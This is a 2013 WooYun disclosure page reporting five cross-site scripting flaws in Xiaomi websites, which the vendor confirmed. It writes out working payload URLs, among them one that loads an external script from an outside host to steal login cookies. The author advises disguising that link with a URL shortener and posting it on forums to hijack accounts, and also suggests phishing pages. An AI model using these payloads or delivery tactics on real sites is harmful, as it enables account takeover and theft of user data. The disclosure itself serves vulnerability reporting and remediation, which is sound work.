当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-036200

漏洞标题:小米5个XSS漏洞,可以盗取cookie并成功登录

相关厂商:小米科技

漏洞作者: px1624

提交时间:2013-09-05 17:54

修复时间:2013-10-20 17:54

公开时间:2013-10-20 17:54

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-05: 细节已通知厂商并且等待厂商处理中
2013-09-06: 厂商已经确认,细节仅向厂商公开
2013-09-16: 细节向核心白帽子及相关领域专家公开
2013-09-26: 细节向普通白帽子公开
2013-10-06: 细节向实习白帽子公开
2013-10-20: 细节向公众公开

简要描述:

3×5=15rank
xiaomi3 V5!
for F mark~

详细说明:

一、小米手机台湾官网1个反射型XSS(http://tw.xiaomi.com域名)
1 url:

http://tw.xiaomi.com/accessories/all?adapt=&page=1

中,其中参数page没有对xss代码进行过滤,导致可以XSS。
构造后的利用URL:

http://tw.xiaomi.com/accessories/all?adapt=&page=1aaaaa%22%3E%3Cimg%20src=1%20onerror=alert(1)%3E


11.png


2 观察了一下发现,http://tw.xiaomi.com和www.xiaomi.com两个域名的登录是相通的,而且都没有http-only。所以用此反射型xss盗取了cookie后就可以直接登录用户的小米账户了(我自己用两个浏览器验证过)。
构造插入任意外部js文件的url:

http://tw.xiaomi.com/accessories/all?adapt=&page=1aaaa%22%3E%3Cimg%20src=1%20onerror=%22with(document)body.appendChild(createElement(String.fromCharCode(115,99,114,105,112,116))).src='//pxss.sinaapp.com/wCLExF'%22%3E


22.png


3 地址这么长,看起来都有点引起怀疑,用百度短地址(http://dwz.cn/)处理下。
得到:http://dwz.cn/au0ND

33.png


4 上面的利用构造代码,只在IE下有用,在谷歌(包括谷歌内核浏览器,如360、猎豹等)浏览器下,会干掉onerror后面的东西,导致XSS失败。
但是在谷歌下,我们可以通过谷歌浏览器特有的date协议来构造xss。

url:http://tw.xiaomi.com/accessories/all?adapt=&page=1aa"><script src=data:,alert(1)<!--


44.png


哈哈,这样就可以通杀所有浏览器了!
利用方法:发到社区论坛神马的地方,只要用户在点击的时候有登录www.xiaomi.com,那么账户cookie就会被盗,从而就可以登录用户小米账户。
二、小米ROM下载频道4个DOM-XSS(http://rom.xiaomi.cn域名)
1 首先对这个地址的四个参数进行输出观察,分别对每个参数进行标记。访问下面参数带有标记的地址:

http://rom.xiaomi.cn/list-169-1.html?mobileTypeValue=88952634aaaa&hardwareVersionValue=88952634bbbb&romTypeValue=88952634cccc&softwareVersionValue=88952634dddd


F12查找一下标记的参数,发现有输出在js代码中。

1.png


2 试着去构造闭合一下,观察前后代码的环境,得出构造代码

:)});alert(1);(function%20a(){//

带入到URL中,得到

http://rom.xiaomi.cn/list-169-1.html?mobileTypeValue=88952634)});alert(1);(function%20a(){//&hardwareVersionValue=88952634&romTypeValue=88952634&softwareVersionValue=88952634

访问一下,哈哈,弹窗了。很典型的一个DOM-XSS。

2.png


3 下面F12看下,可以很直观的看到XSS的触发原理。

3.png


4 其他三个参数的XSS构造方法同上,这里不在一一截图了。下面列出4个DOM-XSS

http://rom.xiaomi.cn/list-169-1.html?mobileTypeValue=88952634)});alert(1);(function%20a(){//&hardwareVersionValue=88952634&romTypeValue=88952634&softwareVersionValue=88952634
http://rom.xiaomi.cn/list-169-1.html?mobileTypeValue=88952634&hardwareVersionValue=88952634)});alert(2);(function%20a(){//&romTypeValue=88952634&softwareVersionValue=88952634
http://rom.xiaomi.cn/list-169-1.html?mobileTypeValue=88952634&hardwareVersionValue=88952634&romTypeValue=88952634)});alert(3);(function%20a(){//&softwareVersionValue=88952634
http://rom.xiaomi.cn/list-169-1.html?mobileTypeValue=88952634&hardwareVersionValue=88952634&romTypeValue=88952634&softwareVersionValue=88952634)});alert(4);(function%20a(){//

利用:这个域名是有加http-only的,所以盗取到cookie是没多大用处的,但是可以写钓鱼页面之类的去骗用户的账户密码。也可以通过写入js发包请求来执行一些用户的操作,获取用户信息等。

漏洞证明:

看上面。

修复方案:

1 对相关有XSS缺陷的参数的特殊字符进行过滤。
2 上个漏洞是给我求小米3的F码,这个是给朋友求的。
thanks for read~

版权声明:转载请注明来源 px1624@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2013-09-06 10:44

厂商回复:

感谢关注小米安全。

最新状态:

暂无